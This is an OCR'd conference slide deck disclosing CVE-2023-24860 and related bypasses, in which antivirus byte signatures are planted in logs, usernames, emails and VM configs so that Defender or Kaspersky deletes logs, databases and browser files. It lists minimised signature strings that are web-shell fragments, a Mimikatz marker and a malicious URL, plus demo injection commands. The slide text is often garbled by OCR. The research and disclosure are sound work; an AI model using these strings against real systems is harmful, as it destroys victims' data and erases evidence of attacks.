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I Agenda

Research Goal and approach

Discover the vulnerability CVE-2023-24860

Attack vectors

CVE-2023-36010 (CVE-2023-24860 bypass)

CVE-2023-36010 bypass + special bonus

Lessons learned, Vendor response, Github, Q&A



I Research Goal - Trigger False Positives

OMG It’s Taylor
Swift

Windows
Defender




I Research Goal - Trigger False Positives

It’s The Devil!
Destroy it

\

®
Windows
Defender




I Teaser

What will you say if we can remotely delete critical files
over the internet,

Pre-authentication,

Exploit multiple vulnerable Security controls

both on Windows and Linux

from your Fully patched servers _ﬁ

Byte signature do bites



I The Challenges

Remote
o Triggering

Byte signature
engine are

considered as the °
most trusted and ® FP is a known
accurate layer issue and most

were already been
fixed
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Step 1
Extracting EDR’s Byte-Signatures



I Black Box Approach

Black Box

INPUT OUTPUT

Input is converted
into output




I Windows Defender signature hunting

microsoft:infected size:200-

/

microsoftinfected size:200-

FILES 20/3.61K

131F95C51CC819465FA1797F6CCACFID4948AAFF46FASEACTIAEGIFFBDFDB26T
@ S2Fhomef2Fazureuserd2fclamav-scanf2fclamav-testfile

text attachment via-tor

275A021BBFB64BIES4D471899F 7DBAD1663FC695EC2FE2A2C4538AABF651FDBF
@ eicar.con-30638

text known-distributor  attachment  via-tor

2546DCFFC5AD854D4D0C64FBFA56871C05AB@F 247 1CBTASBFD4AC23B6E9EEDAD

o ® eicar_com.zip

zip attachment via-tor

3B1EME12E67ABCR26529129A264844E7F1829114365EF 3BE465BT2ZA3BECST209
e ® IT-test-eicar.cmd

Javascript  direct-cpu-clock-access

BE6F25TBFB38BI89 364 80A97BIAAAFT302DF4A3EA233DAFEE2061439A8359CE8
analysis.log.lnk

Ink cve-2010-2568  exploit

9360941105226B7C5A150ECAF422987590A887AC8ERI5E1CAABT 2273041 AB6ET
C:\Users\user\AppData\Local\Temp\ 23774625 . bat

Jjavascript

Detections

56 /63

65 / 68

61/65

21/61

46 /62

29 /60

Sorthy ~

Size

69 B

68 B

184B

198 B
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I How to manually minimize a signature ?

o« Example, let's assume entire malicious file content is : “XABCY”

e Remove “X", write “ABCY” to disk -> detection -> “X” is not part of the signature
e Remove “A”, write “BCY” to disk -> no detection -> “A” is part of the signature

e Remove “B”, write “ACY” to disk -> no detection -> “B” is part of the signature

e Remove “C”, write “ABY” to disk -> no detection -> “C” is part of the signature

e Remove “Y”, write “ABC” to disk -> detection  -> “Y” is not part of the signature

The signature is “ABC”




Windows Defender Byte Signatures




I Windows Defender - RTFM

class MSFT_MpThreat : BaseStatus

{
string SchemaVersion = 1.6.8.8";
sinté4 ThreatlD;
string ThreatName;
[ uintg  SeverityID; ]
uints  CategorylD;
uint@  TypelD;
uint32 RollupsStatus;
string Resources[];

boolean DidThreatExecute = false;
boolean IsActive = false;

Learn / Windows / Customize / Desktop customizations / |

@

ThreatSeverityDefaultAction

Article = 12/17/2020 = 2 minutes to read + 4 contributors % Feedback

ThreadseverityDefaultAction configures the default action to be taken for a threat alert that Microsoft Defender takes.

Microsoft Defender is an application that can prevent, remaove, and quarantine malware (malicious software) and spyware.

Child Elements

Setting Description

Low Specifies the default action to take for threat alert identified as Low.
Moderate Specifies the default action to take for threat alert identified as Moderate.
High Specifies the default action to take for threat alert identified as High.

Severe Specifies the default action to take for threat alert identified as Savere.




WI N d OWS Defe N d er - RT F M CAutoScan: :A;:t:ilunStringFrmID(énum tagMPTHREAT ACTION)

A 4
=
sub edx, 1
jz short loc_140012435 loc_14001243E:
lea rax, aClean ; "Clean"
evere
?ActionStringFromID@CAutoScan@@AEAAPH
Article = 12/17/2020 » 2 minutes to read = 5 contributors
=
severe specifies the automatic remediation action taken for detected threats with a Severe alert level. 14001242¢|  |1oc_140012435:
lea rax, aQuarantine ; "Quarantine"
retn
I
Values =
4001242C:
rax, aRemove ; "Remove

1 Clean the detected threat.

2 Quarantine the detected threat.

3 Remaove the detected threat. .

6 Allow the detected threat.

\
8 Allow the user to determine the action to take with the detected
threat.

9 Do not take any action.

10 Block the detected threat.

MNULL Apply action based on the update definition. This is the default

value,




Automatic Signature generation
Selecting the "best” signature




Automatic Minimal Signature Generation

o We downloaded all 3.6K files from the original VT query
e Develop a python tool to minimize the binaries into minimal signature as possible

(T )

microsoft:infected size:200- a]_]t oOrun ]
o shellexecute=gld3jltr.exe
[ ] icon=%SystemRoot%\system32\SHELL32.d11, 4
// action=0pen folder to wview files
shelll\default=0pen

131F95C51CC819465FA1797F 6CCACFID494AARFF46FASEACT3AEG3FFBDFD8267 — - 2

®@ %2Fhome%i2Fazureuserii2fclamav-scan%2fclanav-testfile Che l l \ de fau l t\ comand_ql 5 3 j l t r - exe )
text attachment via-tor
275A021BBFB6489E54D471899F 7DBID1663F C695EC2FE2A2C4538AABF651FDOF ¥, \§

® eicar.com-38630
text known-distributor attachment wvia-tor Automatlc

Minimize

v

ﬁautorun]Shellexecute=.exeaction=Dpenfoldertoviewfild




Automatic Minimal Signature Generation

o« We found 130 unique signatures

@

EvilSignature Times
[autorun]shellexecute=.exeaction=0penfoldertoviewfile 990
L 3"2A95™» & FA A A 34-% 1+04+" 10:ia-2A] 266
115
<FRAME SRC=http:www.searchvity.com/<html> 110
<?phpeval(S_POST][ 80
cdDrivestartwscript™\."exit 77
PKa™ya™ | 64
a(E,ELFa~“»a™23™e an>a"? x@ @ @8a"e a’e @ 4 24
X50!P%@AP[4\PZX54(P*)7CC)7}SEICAR-STANDARD-ANTIVIRUS-TEST-FILE!SH+H* 17
<%evalrequest("")%> 14
<?phpeval(S_REQUEST]| 13
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I Signature Limitations: how to select the best signature?

Selecting the best signature:

LESS is MORE

Minimum Limitations =
1. Minimum special characters
2. Minimum length LESS I1Is MORE

19



I Signature Limitations: how to select the best signature

Shortest signatures with minimum special types

special

length

EvilSignature

el =

| 15[ {\rtf1{\shpi\sp |

92

WDVPIVAIQEFQWzRcUFpYNTQoUFApNONDKTdOJEVIQOFSLA

23

//brembotembo.com/2.dat

20

frompynput.keyboardstr{key

31

[foperasanpiox.bravepages.com,/201906143890563891.xls

el LN e R )

27

cdDrivestartwscript™\."exit

20



I Signature Limitations: how to select the best signature

o {\rtf1{\shp{\sp e
o Alert level: Severe O Virus & threat protection
Flle was quarantined automatica”y Protection for your device against threats.

X9 Current threats

Threats found. Start the recommended actions.

N cve-2010-333:
_ _ _ Exploit:097M/CVE-2010-3333.PB
File Edit Format View Help 24/10/2022 4:36 (Active)

{\Ft"Fl{\Ehp{\Ep} Action options:

(®) Quarantine

Severe ™

O Remove

O Allow on device

See details




Step 2
Manually embed the signature In Legit File



I Failed First attempt

Legit file (non PE)

RTF signature

FIRST

ATTEMPT

IN

LEARNING

{\rtf1{\shp{\sp ]
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Faster Automatic Minimal Signature Generation

bResult = scanner—->Scan (NULL, sample.data, sample.size, &scanResult):; ]
if (hResult == S OK)
{
if (scanResult.IsMalware)
cout << "original is Malware" << endl;
else
{
cout << "original is Benign,exit" << endl;
return;
}
}
for (1 = 0; 1 < sample.size; i++)
{
buffer[i] = "2";

sample.data = (BYTE*)buffer;

hResult = scanner->Scan (NULL, sample.data, sample.size, &scanResult);
if (hResult == S OK)
{

if (scanResult.IsMalware)

{

cout << "[+] Defender wverdict: Malware. minimized byte until offset: " << i <<endl;



PE Files

Executable legit file

Mimikatz signature

SASA
0000
2500
3100
3800
7700
7300
0056
0044
0020
€174
€572
€1€D
49€6E
€574
7377

SAE4
00F0
7800
7500
7800
Sa00
004B
0031
0045
€500
€544
7665
456E
446F
5365
6F72

Mimikatz signature

8e0e
0022
3B00O
2D00
2D00
2D00
0049
00SF
004E
0011
EFED
7200
756D
eDel
7276
€473

00€3
1244
2500
2500
2500
2500
0057
0030
0054
0053
€169
4D65S
€572
696E
6572
4765

395a
OFB6E
7800
7500
7700
7700
0049
00SF
0049
616D
E6E73
EDEF
6174
0065
5472
7400

SEQO
4404
SD00
2D00
Sa00
Sa00
00SF
0043
0041
45€E
496GE
7279
€555
0002
7573
0000

0000
4F00
2D00
2500
4000
2E00
004D
0052
004cC
75€D
536l
0013
7365
0049
7450
0000

0000
SBOO
2500
3000
2500
2500
00S3
0045
0053
€572
€DS3
0053
7273
SF4E
6173
SASA

BAAA T e CaAN e
FOERN - PRI s VAL § 3 1k e SN
B Lo R SO R e
2 A VS et P R
8.x.-.%.w.2.Q.%.
W et e e W x e
s

cD.E.N.T.ZT.A.L.S

€....3amEnumer
ateDomainsInSams
erver ..Memory...S
amEnumerateUsers
InDomain.e...I_N
etServerTrustPas
swordsGet..... Z2
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I NON-PE Files

_ Windows Defender _
Non PE file PE file

Get scanned
o A

Does NOT
get scanned

 \

Get scanned

EOF - 4030

EOF EOF

26



Challenge 3 - Attack Vectors
Implant the signatures in legit files



I Implant signature - achieve remote deletion of logs

1. Send HTTP POST request

Including signature . .
d519 2. Signhature Is

./ written to log file
-
P ==
Browser on

users
computer

Internet

Web server

3. Defender
deletes the log
28



Remote deletion of Windows Web Server Logs

CVE-2023-24860

00=H - 10) == 7 PR = (=2

0 = @ @ @o&o
00E=00=R 00k=8B YD) —2



Remote Deletion of Windows Web Server Logs - Demo




Remote Deletion of Windows Web Server Logs

Barking dog starts to bite... :)
WORKED ! Defender detect IIS log file as an RTF exploit

*" Windows Security

35vCT

Windows Security

.
Share View Threats found

» ThisPC » Local Disk (C:) » inetpub » logs » LogFiles » W35VC1

L

Mame Date modified
| u e‘xEE‘IDﬁE.IDH 02/10/2022 1:18
a .
[7] u_ex221025.log 25/10/2022 017
.

Windows Security

*" Windows Security

Windows Security

Actions needed in Microsoft Defender

A:rrncerntd Da sro A v d
WVHCIrosotlt verenaer Anuvni

Actions needed in Microsoft Defender




I Remote Deletion of Linux Web Server Logs

The Web server’s market share

Mginx

Apache
Cloudflare Server
LiteSpeed
Microsoft-I1S
Mode.js

Google Servers

Envoy

I 4. 2%
I 21.4%
N 21.5%
— 12.2%

. 5.0%

H2.1%

11.0%

FDA@E
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Remote Deletion of Linux Web Server Logs

ABILITY TO EXECUTE

Firetye @

Bitdefender @ e

® .?O BlackBenry (Cylance) @
rnet

Check Point Software Technologies

PmdaSemmy.

COMPLETENESS OF VISION —

As of May 2021

© Gartner, Inc
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EvilSignature DataBase

L T N

[ -

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

signature 0s AV len r1 specialCharTypeCount validFileName  validFolderiame
[Filter Filter Filter [Fitter Filter Filter Filter [i
<?="%_GET[]; Windows Microsoft Defender 13 9 False False
{\rtf1{\shp\sp Windows Microsoft Defender 15 2 False True
<?phpeval($_GET[ Windows Microsoft Defender 16 6 False False
Gif89a\r\n<?php Linux Kaspersky 16 4 True True
:a\r\nstartgoto Linu Kaspersky 16 3 True True
<%eval request(" Linux Kaspersky 16 5 True True
<?php @eval($_POST([ Linux Kaspersky 19 8 True True
<?phpsystem($_POST[ Windows Microsoft Defender 19 6 False False
<BEVAlreQUesT("")% > Windows Microsoft Defender 19 6 False False
<%%EvalreQUesT("")%> Windows Microsoft Defender 19 6 False False
<%evalrequest(")%> Windows Microsoft Defender 19 6 False False
<%pevalrequest('")%> Windows Microsoft Defender 19 6 False False
<%%evalrequEst(")%> Windows Microsoft Defender 19 6 False False
<%evalrEquEst("™ )%= Windows Microsoft Defender 19 6 False False
<eval_r(Request("")> Windows Microsoft Defender 20 6 False False
cmd ferd /s /g e\, Linux Kaspersky 20 4 False False
<?phpeval($_REQUEST[ Windows Microsoft Defender 20 6 False False
<iframe name=twitter Windows Avast 20 3 False False
<?php system($_POST[" Linux Kaspersky 21 8 True True
<?phpsystem($_REQUEST[ Windows Microsoft Defender 22 6 False False
<?phppassthru{getenv(" Windows Microsoft Defender 22 4 False False
rundll32 mouse,disable Linux Kaspersky 22 2 True True
//brembotembo.com/2.dat Windows Microsoft Defender 23 2 False False
open 210..81.exe\r\nbye Windows AVG 23 3 False True
<iframe name=Twitterlgar Windows AVG 24 3 False False

34



I Automatic Minimal EvilSignature generation - Linux

Others:
AVAST + AVG Trend Micro Palo Alto, CrowdStrike,

SentinelOne

XL avast

“ s = ,ly]’:;‘d»}u
; Relay on
By default only works in y -
only scan the ML
files Don't use

byte
sighatures

With
predefined
extensions

beginning of
the file

As of May 2021




Automatic Minimal EvilSignature generation - AV

One EvilSignature to rule the all
e Kaspersky
e Windows Defender

> .

ONE SIGNATURE TO RULE THEM ALL
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Remote deletion of Linux Web Server Logs

) ==2) 0 == 7- PR = ( [)=2

O E E @°Em
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Remote Deletion of Linux Web Server Logs - Ngnix Demo

192.168.220.130
Ubuntu 64-bit

Activities () Terminal Nov2 18:38

Welcome to nginx!

If you see this page, the nginx web server is successfully installed and m
working. Further configuration is required.

For online documentation and support please refer to nginx,org.
Commercial support is available at nginx.com.

Thank you for using nginx. John@john-virtual-machine: ~ Q

Every 0.5s: tall /var/log/nginx/access.log john-virtual-machine: Wed Nov 2 18:38:18 2022

tail: cannot open '/var/log/nginx/access.log' for reading: Operation not permitted

Command Prompt

C:\Users\Shnuel\Desktop>python malicous_useragnet.py 192.168 6.130 test
Successfully sent request
Kaspersky Endpoint Security 11.2.0 for Linux
C:\Users\Shnuel\Desktop>python malicous_useragnet.py 192.168.220.130 tes22
Successfully sent request ¢ Storage

C:\Users\Shnuel\Desktop>python malicous_useragnet.py 192.168 9.130 “<script>function a(){var ddr location.href.subs
location.href.index0Of('?*')+1);var stri = location.href.substring(addr.length, location.href.length+1);inclva s B Total number of objects in Storage: 1

index0f('='));} function enviaCMD(){inclvar();window}
reques B Exploit PH

eskt
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I Remote Deletion of Windows Web Server Logs

e The Web server’'s market share

MNginx

° Apache

Cloudflare Server

LiteSpeed

Google Servers

Envoy

I 4. 2%
I 2 1.4%
I 2 1.5%
—— 12.2%

. 5.9%

H2.1%

11.0%

FDA@E
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I Windows - FTP - Remote Deletion of Filezilla server logs

|HackTooI:Win32,’Mikatz!dha

Alert level: High

Status: Active

Date: 02/11/2022 8:55

Category: Tool

Details: This program has potentially unwanted behavior.

Learn more

Affected items:

file: C\Program Files\FileZilla Server\Logs\filezilla-server.log

OK

tualProtect-Value$VirtualProtect

*" Windows Security

Windows Security

Actions needed in Microsoft Defender
Microsoft Defend | }

Mikatz!dha in filezil
device,

Dismiss

40



Remote deletion of local mailbox - Mozilla ThunderBird

e Send mail to victim with a subject with the EvilSignature

B Inbex

o1

= Get Messages w4 Wite  ¢F Tag v | Bl Quick Filter

F = & | @ unread T Starred Contact €3 Tags B Attachment
- e Ba b Subject
m o

Add-MemberiloteProperty-MameVirtualProtect-ValueVirualP rotect33

o 2
" Windows Security

[E] Drafts
Windows Security

Threat quara ntined Actions needed in Microsoft Defender

20/11,/2022 3:10

Detected: HackTool:Win32/Mikatz!dha Dismiss

Status: Quarantined
Quarantined files are in a restricted area where they can't harm your device. They will be remowved automatically.

Date: 20/11/2022 3:11
Details: This program has potentially unwanted behavior,

Affected items:
file: ChUsers\Safebreach\AppData\Roaming\ Thunderbird\Profiles\gzBudxys.default-releass\Imaphail
Yimap.gmail.comiNBOX




Local - Unprivileged deletion of Windows event log file

corrupted msi with
version info includes the signature

ﬁl 1.rmsi . . .
P or— X Application.evtx is deleted
General Compatibility Security
Custom Details Previous Versions
HackTool:Win32/Mikatz!dha
Property Value ~
Description
Title Installation Database -
Subject Add-MemberhNote Property-Name'Virt ... Alert level: ngh
Categories Status: Active
Tags Add-MemberMNote Property-NameVirt.. . .
Comments Add-MemberMote Property-NameVir... DﬂtE. 28{10‘!2022 141?
Origin Category: Tool

Authars Add-Memberhote Property-NameVirt ..
Revision number {13A3ESE0-673C-4BFA-BE0S-DEDT...
Content created  28/10/2022 14:08

Details: This program has potentially unwanted behavior.

Windows Security

Program name  Windows Installer XML Toolset (3.1... Learn more Windows Security
File
Name 1msi . Actions needed in Microsoft Defender
N Affected items: or s :
ltem type Windows Installer Package IC
Folder path C:\playgrounddefender_signatures... - = - - 5
Date created  28/10/2022 14:08 L C A Windows\ System3 2\winevt\Logs\ Application.e
Date modified 281072022 14:08
Cimm ooc o v

Remove Properties and Personal Information Dismiss

OK

Cancel Aoply



Remote - Deletion of Windows event log file

Failed SMB login attempts, the username includes signature

{28! Event Viewer
File Action

¢ 2m -

View Help

[2] Event Viewer (Local)
7 Custom Views
v [ Windows Logs
[=] Application
f+] Security
£ Setup
(=] System
] Forwarded Events
& Applications and Services Lo
(% Subscriptions

Security Number of events: 13,963 (!) New events available
s

Keywords Date and Time Source EventID Task Category
& Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing. 4625 Legon
8 Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing. 4625 Logon
£ Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing. 4625 Logon
£ Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing, 4625 Logon
B Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing. 4625 Logon
‘%} Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing. 4625 Logon
B Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing. 4625 Logon
£ Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing. 4625 Logen
3 Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing. 4625 Logon
£ Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing. 4625 Logon
B Audit Failure 29/10/2022 12:30:22 Microsoft Windows security auditing. 4625 Logen

Event 4625, Microsoft Windows security auditing.

General Details

@ Friendly View O XML View

+ System

- EventData
SubjectUserSid S-1-0-0
SubjectUserName -
SubjectDomainName -
SubjectLogonid 0x0

S-1-0-0

I TargetUserName Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect I

TargetDomainName domain

Security.evtx remotely deleted

HackTool:Win32/Mikatz!ldha

Alert level: High

Status: Active

Date: 29/10/2022 12:34

Category: Tool

Details: This program has potentially unwanted behavior.

Learn more

Affected items:

file: Ch\Windows\System32\winevt\Logs\Security.evtx

OK




Remote - Remote Deletion of Windows event log file

B oS N% O e 2o




I Windows Defender - Delete Windows Defender detection logs

Self cannibalism - Defender deletes its own detection logs :)

Date: 02/11/2022 1:47 HackTool:Win32/Mikatzldha

Details: This program has potentially unwanted
bE‘ha'u' i-.’,':ll". Alert level: High

Status: Active
. Date: 21/11/2022 0:17
AffECtEd ]tems: Category: Tool

Details: This program has potentially unwanted behavior.

containerfile: C\playgroundy12.msi Learn more
containerfile: C:\ProgramData\Microsoft Affected items:

. il g ) ) containerfile: C\ProgramData\Microsoft\Windows Defender\Scans\History
\Windows Defender\Scans\Histony\Service \Service\DetectionHistory\18\E2AA9560-9748-45FD-BEEA-OFFBEF3CAE42

- - tainerfile: C\ProgramData\Microsoft\Windows Defender\5upport
HDEtEﬂIﬂHHIStﬂW ‘l\:z'lr;’Log—202‘10202—121608.|og
II'I.E EI"lE-‘I BMQ BD-?D EC-dDDA- E 54}5,.-6 ‘| EAEDQGEE file: C\ProgramData\Microsoft\Windows Defender\Scans\History\Service
\DetectionHistory\ 18\E2AA9560-9748-45FD-B6EA-SFFBBF3C4E42-

AB >(UTF-16LE)
containerfile: C:\ProgramData\Microsoft f;;f;};f;g;g“;;t;\;:'gggj‘;ﬁ‘f}'gﬁ;’_‘:;{’;‘e"““wp°"
\Windows Defender\Scans\Histony/\Service

\Detections.log 2




Windows Defender - Self cannibalism demo




cViisIgnature - Collateral GQalmage - ZnNad pnase -
Splunk

All rivers flow to the sea
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Domino Effect - Splunk

e Allrivers flow to the sea ... all logs flow to Splunk

Q

Ad hoc
search

On-
Premises

7~
-

£
Private
Coud

Public
Cloud

ey

Onlne
Services

S

. C e
Desktops

w o

Telecoms

Serveny

Networks

RO
Onkne

Shopping ‘
Web Cll Detd
Chickstreams

Records
Smartphones
and Devices

Web
a Services
writy

GPrs
Location

"

Messagng

Databaxes

Packaged
Apphcations

APP

Custom
Applications

Energy
Meters

(1)

-,,,,,,,,,,,,,,,ji'
v”l”"”’l’l)
b !l
PSS 117887777 !

\\\\\

Developer

Monitor
Platform

and alert

splunk>

References - Coded helds, mappings, akases
]-‘ Dynamic information — Stored o non4r adbonal formats

Environment al context - Human martamed flles, documents

System fapplication - Avadabie anly wsmng apaication request

inteliigence fanalytics - Indxcator s, anomaly, research, wivte blackist

-8



cVilslignature - COllateral dalfmage - ZNdad pnase -
Splunk

Manually adding log file, the filename includes the EvilSignature

5 Windows10_insider_previ_.

D | B togin| Splunk x Add Data - Set Sourcetype [Spl. X | &+

« C @ 127.0.0.1:800

- o Backdoor:PHP/Remoteshell.B

Alert level: Severe

Status: Active

Date: 08/11/2022 12:36

Set Source Type Category: Backdoor

bl éts you see : m see ne Details: This program provides remote access to the com
on.

Add Data *—o <Back | [ESUSS

ow t

View Event Summary
Learn more
Time Event
Affected items:

file: C:\Program Files\Splunk\var\lib\splunk\defaultdb\db|
‘hot_v1_O\rawdata\0

HackTool:5H/PythenKeylogger.B

Alert level: High
Status: Active
Date: 08/11/2022 12:26
Threats found Category: Tool
e o : Details: This program has potentially unwanted behavior.

Windows Security

Learn more

Affected items:
file: C\Program Files\Splunk\var\run\splunk\dispatch
\1667939169.19\indexpreview.csv
file: C:\Program Files\Splunk\var\run\splunk\dispatch
\1667939169.19\info.csv
file: C:\Program Files\Splunki\var\run\splunk\dispatch 49
\1667939169.19\status.csv




EViIisIgnature - COollateral dalmage - ZNdad pnase -

Splunk

e Splunk collect windows security event logs

EventType=0@
ComputerName=DESKTOP-6655UUR
Show all 61 lines

Event Actions -

Type ¥ Field
Selected |« host =

+| source

+| sourcetype v

Bvent Account_Domain =

Account_Mame =

Value
DESKTOP-6655UUR
WinEventLog:Security

WinEventLog:Security

domain

HackTool:Win32/Mikatz!dha

Alert level: High

Status: Active

Date: 08/11/2022 14:18
Category: Tool

Details: This program has potentially unwanted behavior.

Learn more
Affected items:

file: C\Pregram Files\Splunkivarilit\splunk\defaultdb\db
Whot_v1_0\rawclatal 8999987

oK

Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
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VMWARE - Permanent Denial Of Service

vmwadare



VMWARE - Permanent Denial Of Service

e VMX file contains the configuration data of the guest VM and it's necessary

for the machine to boot up.

== Ubuntu 64-bit wmx E3 l ew 7 l new 2E3 i new g new | 1 new 4 i new | l
etherne =

vmmci0.id =
monitor.phys bits used "45"
cleanShutdown = "FALSE"

- = "FALSE™

LLEsY L]

t = "TRUE"™
eviceType = "hub"
"t o= mw

"architecture="

all = "FALSE"
iewMode = "fullscreen™
e.policy = "useGlob:
t = "TRUE"
e = "hid"

usb:0 en
checkpoint.vm : acel.vmss"
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VMWARE - Permanent Denial Of Service

john@john-virtual-machine: ~/Desktop

S vmware-rpctool "info-set guestinfo.detailled.data <%eval requeSt('a')%:“I




VMWARE - Permanent Denial Of Service

john@john-virtual-machine: ~/Desktop

S vmware-rpctool "info-set guestinfo.detalled.data <%eval request('a')%>"

folder di

We will respond on the b r support entitlement.

OK




IVMWARE - Permanent Denial Of Service
BUT WAIT

;

\

THERE'S MORE!



VMWARE - Permanent Denial Of Service - Demo

]
File Edit View VM Tobs Help ||

Ubuntu_test

Activities Terminal Jan4 17:45

minimize.py

John@john-virtual-machine: ~/Desktop

sy

To direct input to this VM, move the mouse pointer inside or press CtrisG.

Windows Security

Scan options

Run a scan from the available options on this page.

No current th

3 files scanned.

Quick scan

Quick scan

Checks folders in your system where threats are commonly found

Full scan

Checks all files and running programmes on your hard disk. This scan
could take longer than one hour

Customised scan

Choose which files and locations you want to check.

Microsoft Defender Antivirus (offline scan)

Some malicious software can be particularly difficult to remove from
your device. Microsoft Defender Antivirus (offline scan) can help find
and remove them using up-to-date threat definitions. This will restart
your device and will take about 15 minutes.

Scan now

Have a question?




Remote deletion of Production Databases




I Remote Deletion of Web Server DataBase - MariaDB

1. Register a new user in a website
The user name is the signature

2. Signhature is

| -
A '/ ( - written to backend DB
<—(_ it
Browser on St ~ /

Internet

courigiister Web server .
MariaDB

3. Defender
deletes the entire DB.
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Remote Deletion of Web Server DataBase - MySQL - Linux

.1:8080

e % » 0@

@ svitch role dev-ad.. W CyberChef

)
File Edit View VM Tabs Help ® @ @
D 127.00.1
Ubuntu 64-bit - Kaspersky
YouTube 1 Gmail bob - Put your peo... [l SafeBreach - Calen...
Activities () Terminal Nov 16 16:32

Kaspersky Endpoint Security 11.2.0 for Linux
Username

<  Storage

Password:

[Submit |

[ View DB |

Jjohn@john-virtual-machine:

: S

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.




Remote Deletion of Web Server DataBase - MARIADB DEMO

@ 'ocalhostiviewphp

&

>

x @ locathost/manahtmi x| +

C ©® localhost/view.php

Il

N

O Virus & threat protection

HackTookWin32/Mikatzldha
8 Current
Alert level: High
Status: Active

Date: 18/10/2022 6:50
Category: Tool

Learn more

®) Remove Affected items:
file: C:\wamp64\bin\mariadb\mariadb10.6.5\data\reviews
\user_reviews.MYD

[N OK

Details: This program has potentially unwanted behavior.

Start actions

No connection could be made because the target machine actively refused it. in

Memory |[Function

Location

363808{man}()

..\view.phy

363808@,\}4}&_{@;1@1( Shost = "localhost’, Suser = 'review_site’, Spassword = 'JxSLRkdutW", Sdatabase = 'reviews’, Sport ='3307")

..\view, phy

1 # I‘l‘imo [Memory |Function |Location

0.0026 | 363808|{main)( ) |...\view,php:0

all Stack

#|Time

Memory Ii‘nnction ILocation

|[1To5026

3638081 {main}() . \view.php:0

112] +.0991

364504]mmh_gm1 Slink = FALSE, Squery = 'select * from user_reviews' ) .. \view,php:31

IAn error occurred when submitting vour review.
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Most popular databases worldwide as of August 2022

Oracie

Microsoft SQL Server

PostgreSQOL

MongoDB

Redis

IBM Db2

Elasticsearch

Microsoft Access

1,260.8
1,202.85
944.96
618
477.66
176.39
157.23
155.08
146.5

https://www.statista.com/statistics/809750/worldwide-popularity-ranking-database-management-system
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I We were able to remotely delete four different databases

MySQOL. g WSQthe

1,260.8

1,202.85
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Remote deletion of Browser files in the victim’s
computer surfing to a Malicious Web




I Remote deletion of Browser files

1. The browser sends HTTP request

S B
Browser on

USErS lnternet
computer

Web server

2. The server returns the signature
In the body of the response

3. The browser logs the response to its own DB,

Defender deletes the Browsers DB. o



Remote deletion of Browser files: Chrome History & Web Data

HackTool:Win32/Mikatz!dha

Alert level: High

Status: Active

Date: 24/10/2022 15:54

Category: Tool

Details: This program has potentially unwanted behavior.

Backdoor:PHP/Remoteshell.A Learn more

Affected items:
Alert level: Severe
[ file: C\Users\Safebreach\AppData\Local\Google\Chrome\User Data ]

Status: Active
Default\Hist
Date: 24/10/2022 17:00 \DefaultiHistory

Category: Backdoor
Details: This program provides remote access to the computer it i oK
on.

Learn more

Windows Security

Affected items:

Windows Security containerfile: C:\Users\Safebreach\AppData\Local\Google\Chrome\User
DataDefault\Sessions\Session_13311128388386113

file: C\Users\Safebreach\AppData\Local\Google\Chrome\User Data
\Default\Sessions\Session_13311128388386113->(SCRIPT0000)

[ﬁle: ChUsers\Safebreach\AppData\Loca\Google\Chrome\User Data ]

Actions needed in Microsoft Defender

ef B

\Default\Web Data

QK
Dismiss
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Future work - the sky is not the limit

Microsoft Defender for Cloud
Secure your hybrid-cloud and multicloud workloads

The Sky is not the Limit
It's just the Beginning

Amazon EKS Amazon EC2

O w

Unmanaged Unmanaged
Kubernetes SQL

©@ O

Azure DNS Key Vault

— % &:D <
Resource

Servers Azure Network
VMSS Layer Manager

@ = O @ <
ria DB Cosmos DB

aws

()
&
App Services  Azure K8s Blob Storage File Storage Ma
E U =
i Unmanaged Azure SQL MySQL Postgres Unmanaged
Kas SQL SQL
i ©
Google Compute

7~ o
: 3 = . B GKECluste
m On-premises . — * . it
g s Unmanaged Unmanaged 3
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Vendor Response

Microsoft: released a fix to the vulnerability: CVE-2023-24860

We reported that the fix is not complete
Microsoft classified it as “moderate DOS”, didn’t fix the rest of attack vectors.

Cn Thu 1. Jun 2023 at 21:10, Microsoft Security Response Center <secure@microsoft.com> wrote:

Hella Tomer,

It looks like this was incorrectly marked as a duplicate of your other Defender case 76427, and should have been marked as a moderate denial of service vulnerability. Since it is moderate and does not meet the bar for servicing in a security update, we will not be
updating in a future Patch Tuesday. However, the engineering team may choose to make enhancements in a future feature update that addresses the issue, Since the two cases were similar and had closely related root causes, it was marked incorrectly as a duplicate. | do

apclegize for the confusion.

Kaspersky: did not release a fix:
“This case is can’t be classified as a security vulnerability...
We are planning some improvements to mitigate this issue”.

Vulnerability Mailbox <Vulnerability@kaspersky.coms

to Shmuel, Vulnerability, me, Itzik «

Fri, Dec 30, 2022, 4:0%PM T «

Hello Shmuel Cohen.

Thank you for the report. We've concluded that this case can't be classified as a security vulnerability, because the product’s behavior is more driven by design. Nevertheless, we understand that log information shouldn't be deleted andwe are 7
planning some improvements to mitigate this issue. You can report this case to our bug bounty program here (registration needed). This case is formally out of scope, but since we are planning improvements, which means the possibility of bug



I Vulnerability Timeline

First Report CVE-2023-24860 Patch Analysis
to MSRC

S S —

January April August
2023 2023 2023
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ISecond report to Microsoft - CVE-2023-24860 patch analysis

Unprivileged deletion of Defender detections Log file

| mpasbasevdm
j mpasdita.vdm

] mpavbasexvdm

_| mpavdita.vdm 16/ 52

ALINAFINGD 10,83

;] H Al
] MpKsIDrv.g)

Patched
Version

General Digital Signatures  Securty Details  Previous Versions

Propery Value
Description
File description  Microsoft Malware Protection Engine

1.1.20200.4
Productname  Microsoft Malware Protection
Product version  1.1.20200.4

Language English (United States)

Copyright ® Microsoft Corporation. All rights reserv...
Size 174 MB
Date modfied  16/04/2023 12:52

Original filename mpengine dll

Remove Properies and Personal Information

0K Cancel

en...

HackTool:SH/PythonKeylogger.B

CUrl Alert level: High

Status: Active

Date: 20,/04/2023 16:02

Category: Tool

Details: This program has potentially unwanted behavior.

Learn more

Affected items:

Ju containerfile: C\ProgramData\Microscft\Windows Defender\Support

